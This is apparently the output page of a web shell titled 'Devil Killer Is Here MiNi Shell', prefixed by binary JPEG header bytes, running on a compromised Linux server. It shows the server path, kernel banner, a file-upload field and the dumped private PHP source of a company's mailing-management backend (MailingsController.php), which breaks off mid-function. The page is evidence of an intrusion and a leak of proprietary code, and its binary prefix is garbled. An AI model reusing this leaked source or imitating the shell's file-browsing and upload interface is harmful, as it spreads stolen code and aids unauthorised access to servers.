JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/backend/controllers/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/backend/controllers/MailingsController.php

<?php

namespace backend\controllers;

use Yii;
use backend\models\Mailings;
use backend\models\MailingsReservations;
use backend\models\MailingsSearch;
use backend\models\MailingTestForm;
use backend\models\MailingStatisticsForm;
use backend\models\CompaniesSearch;
use backend\models\MailingsContentsSearch;
use backend\models\MailingsReservationsSearch;
use backend\models\SendMailingReportForm;
use common\models\types\MailingStatus;
use common\models\types\ContactDataType;
use common\models\CompaniesCategories;
use common\models\Portals;
use common\models\Users;
use common\models\MailingsShipping;
use common\models\Emails;
use common\models\MailingsUrlsVisits;
use common\models\MailingsReports;
use common\models\CompaniesInvoicingData;
use yii\web\Controller;
use yii\web\NotFoundHttpException;
use yii\web\ForbiddenHttpException;
use yii\data\ActiveDataProvider;
use yii\filters\AccessControl;

/**
 * MailingsController implements the CRUD actions for Mailings model.
 */
class MailingsController extends Controller
{
    use \backend\components\traits\ControllerFunctions;
    
    /**
     * @inheritdoc
     */
    public function behaviors()
    {
        return [
            'access' => [
                'class' => AccessControl::className(),
                'rules' => [
                    ['allow' => true, 'actions' => ['create', 'emails-list'], 'roles' => ['createMailings']],
                    ['allow' => true, 'actions' => ['update', 'emails-list'], 'roles' => ['updateMailings']],
                    ['allow' => true, 'actions' => ['delete'], 'roles' => ['deleteMailings']],
                    ['allow' => true, 'actions' => ['index'], 'roles' => ['indexMailings']],
                    ['allow' => true, 'actions' => ['view', 'preview'], 'roles' => ['@']],
                    ['allow' => true, 'actions' => ['cancel', 'resume', 'send', 'stop'], 'roles' => ['deliveryManagementMailings']],
                    ['allow' => true, 'actions' => ['test-send'], 'roles' => ['testSendMailings']],
                    ['allow' => true, 'actions' => ['statistics', 'statistics-details', 'reports', 'get-report', 'send-report'], 'roles' => ['viewMailingsStatistics']],
                    ['allow' => true, 'actions' => ['delete-report'], 'roles' => ['deleteMailingsStatisticsReports']],
                    ['allow' => true, 'actions' => ['categories-trees', 'companies-list', 'reservations-list', 'contents-list'], 'roles' => ['createMailings', 'updateMailings', 'testSendMailings']],
                    
                    ['allow' => true, 'actions' => ['send2'], 'roles' => ['administrator']],
                ]
            ]
        ];
    }

    /**
     * Lists all Mailings models.
     * @return mixed
     */
    public function actionIndex()
    {
        $searchModel = new MailingsSearch();
        $dataProvider = $searchModel->search(Yii::$app->request->queryParams);

        return $this->render('index', [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
        ]);
    }

    /**
     * Displays a single Mailings model.
     * @param integer $id
     * @return mixed
     */
    public function actionView($id)
    {
        $model = $this->findModel($id);
        
        if(!Yii::$app->user->can('viewMailings', ['model' => $model->reservation])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        } 
        
        $selectedCategories = $this->getSelectedCategoriesFromMailing($model);
        
        return $this->render('view', [
            'model' => $model,
            'selectedCategories' => $selectedCategories,
        ]);
    }
    
    protected function getSelectedCategoriesFromMailing($modelMailing)
    {
        $filters = $modelMailing->getSettingsKey('filters');
        
        $dataCategories = !empty($filters['categories']) ? $filters['categories'] : [];
        $selectedCategories = [];

        if(!empty($dataCategories)) {                
            $modelsCategories = CompaniesCategories::find()->where(['id_category' => $dataCategories])->all();
            if(!empty($modelsCategories)) {
                foreach($modelsCategories as $modelCategory) {
                    $category = ['id' => $modelCategory->id_category];
                    if($modelCategory->depth > 1) {
                        $modelsCategoriesPath = CompaniesCategories::getCategoryPath($modelCategory);
                        $category['label'] = '';
                        foreach($modelsCategoriesPath as $key => $modelCategoryPath) {
                            if($key !== 1) {
                                $category['label'] .= ' &raquo; ';
                            }
                            $category['label'] .= $modelCategoryPath->name;
                        } 
                    } else {
                        $category['label'] .= $modelCategory->name;
                    }
                    $selectedCategories[] = $category;
                }
            }
        }
        
        return $selectedCategories;
    }

    /**
     * Creates a new Mailings model.
     * If creation is successful, the browser will be redirected to the 'view' page.
     * @return mixed
     */
    public function actionCreate()
    {
        $model = new Mailings(['scenario' => 'create']);

        $outputParams = [
            'model' => $model
        ];
        
        $operatorsEmails = \common\models\UsersContactData::find()
                        ->select(['users_contact_data.data_value'])
                        ->join('INNER JOIN', 'users', 'users.id_user = users_contact_data.id_user')
                        ->where([
                            'users.login' => ['vm_lukasz', 'vm_marcin'], 
                            'users_contact_data.required' => 1, 
                            'users_contact_data.data_type' => ContactDataType::EMAIL
                        ])->column();
        
        $model->testEmails = !empty($operatorsEmails) ? $operatorsEmails : [];
        
        $idReservation = Yii::$app->request->get('id_reservation');
        if($idReservation) {
            $modelMailingReservation = MailingsReservations::findOne($idReservation);
            if($modelMailingReservation) {
                $model->id_reservation = $modelMailingReservation->id_reservation;
                $model->id_company = $modelMailingReservation->id_company;
                $model->filterPortals = $modelMailingReservation->listPortals;
                $model->sending_datetime = $modelMailingReservation->sending_datetime;
                $operatorEmail = $modelMailingReservation->user->getContactData()->select(['data_value'])->where(['data_type' => \common\models\types\ContactDataType::EMAIL, 'required' => 1])->scalar();
                if(!empty($operatorEmail)) {
                    $model->testEmails = array_unique(array_merge($model->testEmails, [$operatorEmail]));
                }
            }
        }
        
        if(Yii::$app->request->isAjax && !Yii::$app->request->isPjax && $model->load(Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($model, ['filterCategories', 'filterRegions', 'filterPortals', 'filterPackages', 'additionalEmails']);
        }
        
        if(Yii::$app->request->getIsPost()) {   
//            var_dump($_POST); exit;
            if(!$model->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('create', $outputParams);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            if(!$model->validate()) {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->render('create', $outputParams);
            }
            
            if($model->save(false)) {                
                $transaction->commit();
                
                //wysyłamy email z informacją o rezerwacji mailingu (tzn. utworzeniu mailingu dla wcześniejszej rezerwacji) - email do handlowca/handlowców (jeśli nie ma przypisanej konkretnej rezerwacji)
                //(###MAIL_19###) 
                $operatorsEmails = $this->getOperatorsEmailsForMailing($model);            
                if(!empty($operatorsEmails)) {
                    $mailer = Yii::$app->mailer;
                    $mailer->htmlLayout = false;      
                    $mailer->textLayout = false;           
                    $message = $mailer->compose(
                        [
                            'html' => 'mailing_reservation_html',
                            'text' => 'mailing_reservation_text'
                        ],
                        [
                            'model' => $model
                        ]
                    )
                    ->setFrom([Yii::$app->params['noReplyEmail'] => 'System vManager'])
                    ->setSubject(Yii::t('common-mails', 'Rezerwacja e-mailingu dla {companyName}', ['companyName' => $model->company->name]));

                    foreach($operatorsEmails as $operatorEmail) {
                        $message->setTo($operatorEmail)->send();
                    }
                }
                
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                return $this->redirect(['view', 'id' => $model->id_mailing]);
            } else {                
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->render('create', $outputParams);
    }

    /**
     * Updates an existing Mailings model.
     * If update is successful, the browser will be redirected to the 'view' page.
     * @param integer $id
     * @return mixed
     */
    public function actionUpdate($id)
    {
        $model = $this->findModel($id);
        
        if($model === null || !in_array($model->status, [MailingStatus::NEW_CREATED, MailingStatus::STOPPED])) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        if($model->status === MailingStatus::NEW_CREATED) {
            $model->setScenario('update');
        } else {
            $model->setScenario('updateBasic');
        }
        
        $model->sending_datetime = date('Y-m-d H:i', strtotime($model->sending_datetime));
        
        $outputParams = [
            'model' => $model
        ];
        
        if($model->getScenario() === 'update' && Yii::$app->request->isAjax && !Yii::$app->request->isPjax && $model->load(Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($model, ['filterCategories', 'filterRegions', 'filterPortals', 'filterPackages', 'additionalEmails']);
        }
        
        if(Yii::$app->request->getIsPost()) {   
//            var_dump($_POST); exit;
            if(!$model->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('update', $outputParams);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            if(!$model->validate()) {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->render('update', $outputParams);
            }
           
            if($model->save(false)) {                
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                return $this->redirect(['view', 'id' => $model->id_mailing]);
            } else {                
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->render('update', $outputParams);
    }

    /**
     * Deletes an existing Mailings model.
     * If deletion is successful, the browser will be redirected to the 'index' page.
     * @param integer $id
     * @return mixed
     */
    public function actionDelete($id)
    {
        $model = $this->findModel($id);

        if ($model->delete() !== false) {
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie usunięto dane.'));             
        } else {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas usuwania danych.'));
        }

        return $this->redirect(['index', 'id' => $model->id_mailing]);
    }

    public function actionCategoriesTrees()
    {
        $idMailing = Yii::$app->request->get('id_mailing');
        $idsPortals = explode(",", Yii::$app->request->get('ids_portals'));
        $idsCategories = explode(",", Yii::$app->request->get('ids_categories'));
        
        if(!empty($idMailing)) {
            $modelMailing = $this->findModel($idMailing);
            $companiesCategories = array_map(function($item) { return intval($item); }, $modelMailing->filterCategories);
        }
        elseif(!empty($idsCategories)) {
            $companiesCategories = array_map(function($item) { return intval($item); }, $idsCategories);
        }
        else {
            $companiesCategories = [];
        }
        
        if(!empty($idsPortals) && is_numeric($idsPortals[0])) {
            $portalsData = Portals::find()->select(['id_portal', 'id_parent_portal', 'name'])->where(['id_portal' => $idsPortals])->indexBy('id_portal')->orderBy('name')->asArray()->all();
            
            $portals = [];
            if(!empty($portalsData)) {
                foreach($portalsData as $portalData) {
                    if(empty($portalData['id_parent_portal'])) {
                        $portals[$portalData['id_portal']] = $portalData['name'];
                    } else {
                        $portals[$portalData['id_parent_portal']] = !empty($portals[$portalData['id_parent_portal']]) ? $portals[$portalData['id_parent_portal']].', '.$portalData['name'] : $portalData['name'];
                    }
                }
            }
            $portalsCategories = CompaniesCategories::getJSONCategoryTrees(array_keys($portals), $companiesCategories);
        } else {
            $portals = $portalsCategories = [];
        }

        return $this->renderAjax('categories_trees', [
            'portals' => $portals,
            'categories' => $portalsCategories
        ]);
    }
    
    /**
     * Prepare to sending an existing Mailings model.
     * If accept is successful, the browser will be redirected to the 'index' page.
     * @param integer $id
     * @return mixed
     */
    public function actionSend($id)
    {        
        $model = $this->findModel($id);
        if($model->status !== MailingStatus::NEW_CREATED) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $emailValidator = new \yii\validators\EmailValidator();
        
        $mailingFullDir = $model->getDir(true);
//        if(!empty($mailingFullDir) && !file_exists($mailingFullDir.'/index.php')) {
//            Yii::$app->session->addFlash('error', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.')); 
//            return $this->redirect(['view', 'id' => $model->id_mailing]);
//        }
        
        $additionalEmails = $model->getSettingsKey('additional_emails');
        if(!empty($additionalEmails)) {
            $additionalEmails = array_combine($additionalEmails, $additionalEmails);
        }

        $query = new \yii\mongodb\Query();
        $query->from(Emails::collectionName())->select(['email', 'label', 'portals'])->where(['or_mailings' => 1]);
//        $query->from(Emails::collectionName())->select(['email', 'label', 'portals', 'id_user'])->where(['or_mailings' => 1]);
        
        $filters = $model->getSettingsKey('filters');
        foreach(['regions', 'categories'] as $filterType) {
            if(!empty($filters[$filterType])) {
                $ids = [];
                foreach($filters[$filterType] as $item) {
                    $ids[] = intval($item);                    
                }
                $query->andWhere(['ids_'.$filterType => $ids]);
            }
        }
        $idsPortals = [];
        foreach($filters['portals'] as $idPortal) {
            $idsPortals[] = intval($idPortal);
        }
//        $defaultPortalsPriorities = Portals::getDefaultOrderOfPortalsPriority();
//        $idsPortals = array_intersect($defaultPortalsPriorities, $filters['portals']);
//        var_dump($idsPortals);        
        if(!empty($filters['packages'])) {            
            $query->andWhere([
                'portals' => ['$elemMatch' => [
                    'id' => ['$in' => $idsPortals],
                    'package' => ['$in' => $filters['packages']],
                ]],
            ]);
        } else {
            $query->andWhere(['portals.id' =>  $idsPortals]);
        }
        
        $excludedEmails = $model->getSettingsKey('excluded_emails');
        if(!empty($excludedEmails)) {
            $query->andWhere(['email' => ['$nin' => $excludedEmails]]);
            foreach($excludedEmails as $excludedEmail) {
                if(isset($additionalEmails[$excludedEmail])) {
                    unset($additionalEmails[$excludedEmail]);
                }
            }
        }
        
        $documents = $query->all();  
        
        if(empty($documents) && empty($additionalEmails)) {
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Nie wybrano żadnych elementów.'));
            return $this->redirect(['view', 'id' => $model->id_mailing]);
        } 
        
        $emails = [];
        if(!empty($documents)) {
            foreach($documents as $document) {
                //@todo proteza
//                if($document['id_user'] !== 2068) continue;
                
                $document['email'] = trim($document['email']);
                if(!$emailValidator->validate($document['email'])) {
                    continue;
                }
                
                if(isset($additionalEmails[$document['email']])) {
                    unset($additionalEmails[$document['email']]);
                }
                
//                $emailKey = $model->id_mailing.'###'.$document['email'];
//                if(!isset($emails[$emailKey])) { 
//                    foreach($document['portals'] as $portalData) {                    
//                        if(empty($filters['packages']) || in_array($portalData['package'], $filters['packages'])) {
//                            foreach($idsPortals as $idPortal) {
//                                if(intval($portalData['id']) === $idPortal) {
//                                    $emails[$emailKey] = [
//                                        'id_mailing' => $model->id_mailing,
//                                        'email' => $document['email'],
//                                        'label' => $document['label'],
//                                        'id_portal' => intval($portalData['id'])
//                                    ];
//                                }
//                            }
//                        }
//                    }    
//                }
                
                $emailKey = $model->id_mailing.'###'.$document['email'];                
                foreach($document['portals'] as $portalData) {
                    if(
                        !isset($emails[$emailKey]) 
                        && in_array($portalData['id'], $idsPortals) 
                        && (empty($filters['packages']) || in_array($portalData['package'], $filters['packages']))
                    ) {                                              
                        $emails[$emailKey] = [
                            'id_mailing' => $model->id_mailing,
                            'email' => $document['email'],
                            'label' => $document['label'],
                            'id_portal' => intval($portalData['id'])
                        ];
                    }
                }
            }   
        }
        if(!empty($additionalEmails)) {
            foreach($additionalEmails as $additionalEmail) {
                $additionalEmail = trim($additionalEmail);
                if(!$emailValidator->validate($additionalEmail)) {
                    continue;
                }
                
                $emailKey = $model->id_mailing.'###'.$additionalEmail;
                if(!isset($emails[$emailKey])) { 
                    $emails[$emailKey] = [
                        'id_mailing' => $model->id_mailing,
                        'email' => $additionalEmail,
                        'label' => $additionalEmail,
                        'id_portal' => $idsPortals[0]
                    ];
                }
            }
        }
        
//        var_dump($emails);
//        exit;
        $emails = array_values($emails);

        MailingsShipping::deleteAll(['id_mailing' => $model->id_mailing]);
        try {
            $savedDocuments = Yii::$app->mongodb->getCollection(MailingsShipping::collectionName())->batchInsert($emails);        
        } catch(\yii\mongodb\Exception $e) {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));
            return $this->redirect(['view', 'id' => $model->id_mailing]);
        }
        
        $model->status = MailingStatus::WAITING;
        $model->sending_datetime = date('Y-m-d H:i', strtotime($model->sending_datetime));
        if($model->save()) {    
            //wysyłamy email z informacją o uruchomieniu wysyłki – email do handlowca/handlowców (jeśli nie ma przypisanej konkretnej rezerwacji)
            //(###MAIL_21###) 
            $operatorsEmails = $this->getOperatorsEmailsForMailing($model);            
            if(!empty($operatorsEmails)) {
                $mailer = Yii::$app->mailer;
                $mailer->htmlLayout = false;      
                $mailer->textLayout = false;           
                $message = $mailer->compose(
                    [
                        'html' => 'start_shipping_mailing_html',
                        'text' => 'start_shipping_mailing_text'
                    ],
                    [
                        'modelMailing' => $model
                    ]
                )
                ->setFrom([Yii::$app->params['noReplyEmail'] => 'System vManager'])
                ->setSubject(Yii::t('common-mails', 'Uruchomiono wysyłkę e-mailingu dla firmy {companyName}', ['companyName' => $model->company->name]));
                
                foreach($operatorsEmails as $operatorEmail) {
                    $message->setTo($operatorEmail)->send();
                }
            }
            
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.'));             
        } else {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));
            MailingsShipping::deleteAll(['id_mailing' => $model->id_mailing]);
        }
        
        return $this->redirect(['view', 'id' => $model->id_mailing]);
    }
    
    public function actionSend2($id)
    {        
        $model = $this->findModel($id);
        if($model->status !== MailingStatus::NEW_CREATED) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $idUser = Yii::$app->request->get('id_user');
        $idCompany = Yii::$app->request->get('id_company');
        $email = Yii::$app->request->get('email');
        
        $emailValidator = new \yii\validators\EmailValidator();
        
        $mailingFullDir = $model->getDir(true);
//        if(!empty($mailingFullDir) && !file_exists($mailingFullDir.'/index.php')) {
//            Yii::$app->session->addFlash('error', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.')); 
//            return $this->redirect(['view', 'id' => $model->id_mailing]);
//        }
        
        $additionalEmails = $model->getSettingsKey('additional_emails');
        if(!empty($additionalEmails)) {
            $additionalEmails = array_combine($additionalEmails, $additionalEmails);
        }

        $query = new \yii\mongodb\Query();
        $query->from(Emails::collectionName())->select(['email', 'label', 'portals', 'id_user', 'id_company'])->where(['or_mailings' => 1]);
        
        $filters = $model->getSettingsKey('filters');
        foreach(['regions', 'categories'] as $filterType) {
            if(!empty($filters[$filterType])) {
                $ids = [];
                foreach($filters[$filterType] as $item) {
                    $ids[] = intval($item);                    
                }
                $query->andWhere(['ids_'.$filterType => $ids]);
            }
        }
        $idsPortals = [];
        foreach($filters['portals'] as $idPortal) {
            $idsPortals[] = intval($idPortal);
        }        
        
//        $defaultPortalsPriorities = Portals::getDefaultOrderOfPortalsPriority();
//        $idsPortals = array_intersect($defaultPortalsPriorities, $filters['portals']);
        var_dump($idsPortals);
        
        if(!empty($filters['packages'])) {            
            $query->andWhere([
                'portals' => ['$elemMatch' => [
                    'id' => ['$in' => $idsPortals],
                    'package' => ['$in' => $filters['packages']],
                ]],
            ]);
        } else {
            $query->andWhere(['portals.id' =>  $idsPortals]);
        }
        
        $excludedEmails = $model->getSettingsKey('excluded_emails');
        if(!empty($excludedEmails)) {
            $query->andWhere(['email' => ['$nin' => $excludedEmails]]);
            foreach($excludedEmails as $excludedEmail) {
                if(isset($additionalEmails[$excludedEmail])) {
                    unset($additionalEmails[$excludedEmail]);
                }
            }
        }
        
        $documents = $query->all();  
        
        if(empty($documents) && empty($additionalEmails)) {
            var_dump('Nie wybrano żadnych elementów.');
            exit;
        } 
        
        $emails = [];
        if(!empty($documents)) {
            foreach($documents as $document) {
                //@todo proteza
                if(!empty($idCompany)) {
                    if($document['id_company'] !== intval($idCompany)) {
                        continue;
                    }
                } elseif(!empty($idUser)) {
                    if($document['id_user'] !== intval($idUser)) {
                        continue;
                    }
                } elseif(!empty($email)) {
                    if($document['email'] !== $email) {
                        continue;
                    }
                }
                
                $document['email'] = trim($document['email']);
                if(!$emailValidator->validate($document['email'])) {
                    continue;
                }
                
                if(isset($additionalEmails[$document['email']])) {
                    unset($additionalEmails[$document['email']]);
                }
                
//                $emailKey = $model->id_mailing.'###'.$document['email'];
//                if(!isset($emails[$emailKey])) { 
//                    foreach($document['portals'] as $portalData) {                    
//                        if(empty($filters['packages']) || in_array($portalData['package'], $filters['packages'])) {
//                            foreach($idsPortals as $idPortal) {
//                                if(intval($portalData['id']) === $idPortal) {
//                                    $emails[$emailKey] = [
//                                        'id_mailing' => $model->id_mailing,
//                                        'email' => $document['email'],
//                                        'label' => $document['label'],
//                                        'id_portal' => intval($portalData['id'])
//                                    ];
//                                }
//                            }
//                        }
//                    }    
//                }
                
                $emailKey = $model->id_mailing.'###'.$document['email'];                
                foreach($document['portals'] as $portalData) {
                    if(
                        !isset($emails[$emailKey]) 
                        && in_array($portalData['id'], $idsPortals) 
                        && (empty($filters['packages']) || in_array($portalData['package'], $filters['packages']))
                    ) {                                              
                        $emails[$emailKey] = [
                            'id_mailing' => $model->id_mailing,
                            'email' => $document['email'],
                            'label' => $document['label'],
                            'id_portal' => intval($portalData['id'])
                        ];
                    }
                }
            }   
        }
        if(!empty($additionalEmails)) {
            foreach($additionalEmails as $additionalEmail) {
                $additionalEmail = trim($additionalEmail);
                if(!$emailValidator->validate($additionalEmail)) {
                    continue;
                }
                
                $emailKey = $model->id_mailing.'###'.$additionalEmail;
                if(!isset($emails[$emailKey])) { 
                    $emails[$emailKey] = [
                        'id_mailing' => $model->id_mailing,
                        'email' => $additionalEmail,
                        'label' => $additionalEmail,
                        'id_portal' => $idsPortals[0]
                    ];
                }
            }
        }
        
        var_dump($emails);
        exit;
    }
    
    protected function getOperatorsEmailsForMailing($model)
    {
        $operatorsEmails = [];
        
        if(!empty($model->reservation->user)) {
            $operatorEmail = $model->reservation->user->getContactData()
                ->select('data_value')
                ->where([
                    'required' => 1,
                    'data_type' => \common\models\types\ContactDataType::EMAIL
                ])
                ->scalar();
            if(!empty($operatorEmail)) {
                $operatorsEmails[$operatorEmail] = $operatorEmail;
            }
        } else {
            $idsOperators = $model->company->getRelationsWithOperators()->select(['id_user'])->column();
            $emails = \common\models\UsersContactData::find()
                ->select('data_value')
                ->where([
                    'required' => 1,
                    'data_type' => \common\models\types\ContactDataType::EMAIL,
                    'id_user' => $idsOperators
                ])
                ->column();
            if(!empty($emails)) {
                foreach($emails  as $email) {
                    $operatorsEmails[$email] = $email;
                }
            }
        }
            
        return $operatorsEmails;
    }
    
    /**
     * Stop sending an existing Mailings model.
     * If accept is successful, the browser will be redirected to the 'view' page.
     * @param integer $id
     * @return mixed
     */
    public function actionStop($id)
    {
        $model = $this->findModel($id);
        if($model->status !== MailingStatus::SENDING) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $model->status = MailingStatus::STOPPED;
        if($model->save()) {
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.'));             
        } else {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));
        }
        
        return $this->redirect(['view', 'id' => $model->id_mailing]);
    }
    
    /**
     * Resume sending an existing Mailings model.
     * If accept is successful, the browser will be redirected to the 'view' page.
     * @param integer $id
     * @return mixed
     */
    public function actionResume($id)
    {
        $model = $this->findModel($id);
        if($model->status !== MailingStatus::STOPPED) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $model->sending_datetime = date('Y-m-d H:i', strtotime($model->sending_datetime));
        $model->status = MailingStatus::SENDING;
        if($model->save()) {
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.'));             
        } else {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));
        }
        
        return $this->redirect(['view', 'id' => $model->id_mailing]);
    }
    
    /**
     * Cancel an existing Mailings model.
     * If accept is successful, the browser will be redirected to the 'view' page.
     * @param integer $id
     * @return mixed
     */
    public function actionCancel($id)
    {
        $model = $this->findModel($id);
        if(in_array($model->status, [MailingStatus::NEW_CREATED, MailingStatus::SENT, MailingStatus::CANCELED])) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $model->sending_datetime = date('Y-m-d H:i', strtotime($model->sending_datetime));
        $model->status = MailingStatus::NEW_CREATED;
        
        MailingsShipping::deleteAll(['id_mailing' => $model->id_mailing]);
        
        if($model->save()) {
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.'));             
        } else {
            var_dump($model->getErrors()); exit;
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));
        }
        
